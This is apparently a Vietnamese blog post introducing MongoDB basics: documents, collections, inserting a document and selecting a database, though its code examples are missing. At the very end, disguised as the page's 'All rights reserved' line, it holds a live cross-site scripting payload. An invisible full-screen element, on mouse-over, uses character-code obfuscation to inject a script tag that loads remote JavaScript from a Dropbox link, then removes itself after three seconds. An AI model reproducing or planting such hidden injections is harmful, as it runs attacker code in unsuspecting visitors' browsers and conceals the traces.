Tìm hiểu về MongoDB
Bài đăng này đã không được cập nhật trong 3 năm
Trong những năm gần đây, với sự ra đời và phát triển mạnh mẽ của NoSQL thì MongoDB cũng đang nhận được nhiều sự chú ý trong cộng đồng công nghệ. Điểm mạnh của NoSQL nói chung và MongoDB nói riêng đó là tính linh hoạt trong việc cấu trúc dữ liệu do đó nó giúp đáp ứng tốt với những thay đổi hay việc mở rộng cơ sở dữ liệu. Trong bài viết này chúng ta sẽ cùng nhau tìm hiểu những khái niệm cơ bản trong MongoDB và cách sử dụng chúng.
I, MongoDB Là Gì
MongoDB là một chương trình cơ sở dữ liệu mã nguồn mở được thiết kế theo kiểu hướng đối tượng trong đó các bảng được cấu trúc một cách linh hoạt cho phép các dữ liệu lưu trên bảng không cần phải tuân theo một dạng cấu trúc nhất định nào. Chính do cấu trúc linh hoạt này nên MongoDB có thể đượng dùng để lưu trữ các dữ liệu có cấu trúc phức tạp và đa dạng và không cố định (hay còn gọi là Big Data)
Tuy nhiên khi đưa ra định nghĩa như ở trên tôi đã sử dụng khái niệm bảng trong các cơ sở dữ liệu có quan hệ để bạn có thể dễ hiểu. Trên thực tế thì MongoDB sử dụng thuật ngữ khác là collection hay bộ sưu tập thay vì bảng. Các cơ sở dữ liệu quan hệ (như MySQL hay SQL Server...) sử dụng các bảng để lưu dữ liệu. Các bảng này được cấu trúc với một số lượng cột (column) nhất định và các cột này cũng được định nghĩa với kiểu dữ liệu nhất định. Ngược lại MonoDB lưu document (hay tài liệu tương tự như các record trong MySQL hay SQL Server) vào các collection với định dạng JSON hay Javascript Object Notation. Do đó khi truy vấn dữ liệu hay cập nhật dữ liệu của document trong MongoDB chúng ta sử dụng cú pháp theo kiểu hươngs đối tượng.
Bây giờ chúng ta cùng vào tìm hiểu chi tiết các khái niệm ở trên để có thể hiểu rõ hơn.
II, MongoDB Document
Như đã nói ở trên một document trong MongoDB có thể được hiểu tương đương như một record trong MySQL hay SQL Server. Tuy nhiên sự khác biệt đó là các document trong MongoDB không sử dụng cấu trúc cố định. Hãy xem ví dụ sau về một document trong MongoDB dùng để lưu dữ liệu của một người dùng trên một mạng xã hội:
Ở ví dụ trên dữ liệu của document được lưu theo kiểu kiểu JSON với các trường như name, age, status và groups. Mặc dù document ở trên chỉ có 4 trường nhưng MongoDB vẫn cho phép chúng ta có thể thêm vào một document khác với 5 trường hoặc 3 hay 2 trường. Đây chính là tính linh động của NoSQL.
III, MongoDB Collection
Collection trong MongoDB tương đương với các bảng sử dụng trong các cơ sở dữ liệu kiểu quan hệ. Collection bao gồm tập hợp tất cả các document riêng lẻ được lưu trên collection đó. Hãy xem một ví dụ sau đây minh hoạ về collection trong MongoDB
Sự khác biệt cơ bản giữa collection và bảng trong MySQL hay SQL Server đó là bạn không phải định nghĩa một cấu trúc schema cố định nào cho Collection cả thay vào đó bạn chỉ cần định nghĩa tên cho collection và một số options khác như index hay size của collection.
IV, Thêm Document Vào Collection
Bây giờ chúng ta hãy cùng xem một ví dụ tạo một document vào một collection có tên là users.
Ở trên bạn thấy cú pháp sử dụng để thêm document vào collection được viêt theo kiểu hướng đối tượng hoàn toàn khác với cú pháp của ngôn ngữ SQL thông thường. Chúng ta cũng không nhất thiết phải định nghĩa collection với tên là users trước khi có thể chạy câu lệnh để thêm một document như ở trên. MongoDB sẽ tự tạo cho bạn một collection với tên là users nếu như tại thời điểm bạn bạn chèn document vào database mà vẫn chưa có collection được tạo ra.
Tuy nhiên bạn vẫn cần phải thông báo cho MongoDB biết việc chèn document như trên được thực hiện ở cơ sở dữ liệu nào. Việc này được sử dụng thông qua câu lệnh tương tự như bạn hay dùng với các cơ sở dữ liệu có quan hệ:
use my_mongodb
Như vậy tới đây tôi đã giới thiệu cho bạn những kiến thức cơ bản về MongoDB và cách sử dụng một số câu lệnh đơn giản nhất. Thanks for read!
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">All rights reserved